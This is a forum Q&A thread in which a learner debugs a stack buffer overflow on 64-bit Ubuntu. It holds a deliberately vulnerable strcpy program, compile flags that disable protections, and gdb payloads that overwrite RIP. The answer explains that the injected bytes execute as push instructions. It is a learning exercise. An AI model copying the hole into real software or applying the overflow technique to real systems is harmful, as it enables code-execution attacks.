5

I am trying to get a buffer overflow exploit to work on Ubuntu 16.04 LTS 64bit.

To this end I use the following vulnerable program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{

    char buffer[256];
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    return 0;
}

I deactivate ALSR (temporarily set /proc/sys/kernel/randomize_va_space to 0) and compile my code with

gcc vuln.c -o vuln -z execstack -fno-stack-protector

I manage to overwrite rip with 6 B's using

gdb$ run $(python -c 'print "A"*264 + "B"*6')

and get the following result in gdb:

RSI: 0x602010 ('A' <repeats 200 times>...)
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd9d0 --> 0x0 
RIP: 0x424242424242 ('BBBBBB')
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()

Which makes perfect sense to me.

I would like to overwrite rip with the beginning of my buffer of "A"'s so I can later place my shellcode at the beginning of the buffer (preceeded by some noop's):

So, knowing, how many A's I wrote in the buffer I have a look at rsp minus an offset (I am just playing with the offset until I get a line starting with A's:

gdb$ x/20x $rsp-288
0x7fffffffd8b0: 0x00007fffffffdaa8  0x0000000200000000
0x7fffffffd8c0: 0x4141414141414141  0x4141414141414141
0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141

So, from this I am taking, that my buffer starts at 0x7fffffffd8c0 on the stack.

Next I'll redirect rip to 0x7fffffffd8c0 as follows:

gdb$ run $(python -c 'print "A"*264 + "\x7f\xff\xff\xff\xd8\xc0"[::-1]')

Which works:

RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd9d0 --> 0x0 
RIP: 0x7fffffffd8c0 ('A' <repeats 200 times>...)

As I am planning to put shellcode at the beginning of the buffer I just assume, my shellcode will be 10 bytes long and see if this works:

gdb$ run $(python -c 'print "S"*10 + "A"*254 + "\x7f\xff\xff\xff\xd8\xc0"[::-1]')

and now something I don't understand happens: Despite the fact, that I write exactly the same amount of characters into my buffer, the value of rip changes, apparently it no longer points to the start of my buffer:

RSI: 0x602010 ("SSSSSSSSSS", 'A' <repeats 190 times>...)
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd980 --> 0x0 
RIP: 0x7fffffffd8ca ('A' <repeats 182 times>)

Instead of 0x7fffffffd8c0 rip now contains 0x7fffffffd8ca.

So it is actually still pointing to the beginning of my A's instead of the S's which I injected in my python command:

gdb-peda$ x/20 $rip-10
0x7fffffffd8c0: 0x5353535353535353  0x4141414141415353
0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141

Obviously I am just getting started with this stuff.

Why is this happening?

What am I missing?

1
  • Have you tried with another number of 'S' characters ? Does it work the same or is it really linked to the fact you have 0xa characters ?
    – perror
    Oct 22, 2018 at 8:35

1 Answer 1

6

Don't worry, the shellcode is executing properly, just that the debugger "skipped" past the execution.

Remember that rip is the instruction pointer and whatever code present at the rip is executed. If the code is invalid however, something will go wrong (for example a SIGSEGV will be raised)

In this particular case, a S (byte \x53) corresponds to a push rbx command (which is valid, and push 8 bytes to the stack), while an A is a rex.B - basically speaking, it causes a SIGSEGV in this case.

So in the latter case, ten push rbx commands get executed. (note the esp is decreased by 0x7fffffffd9d0 - 0x7fffffffd980 = 0x50, which is 10 times the size of rbx)

What you can do instead: Break at the ret instruction in the main function. After the breakpoint is hit, execute 1 more instruction then the rip should have the desired value.

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.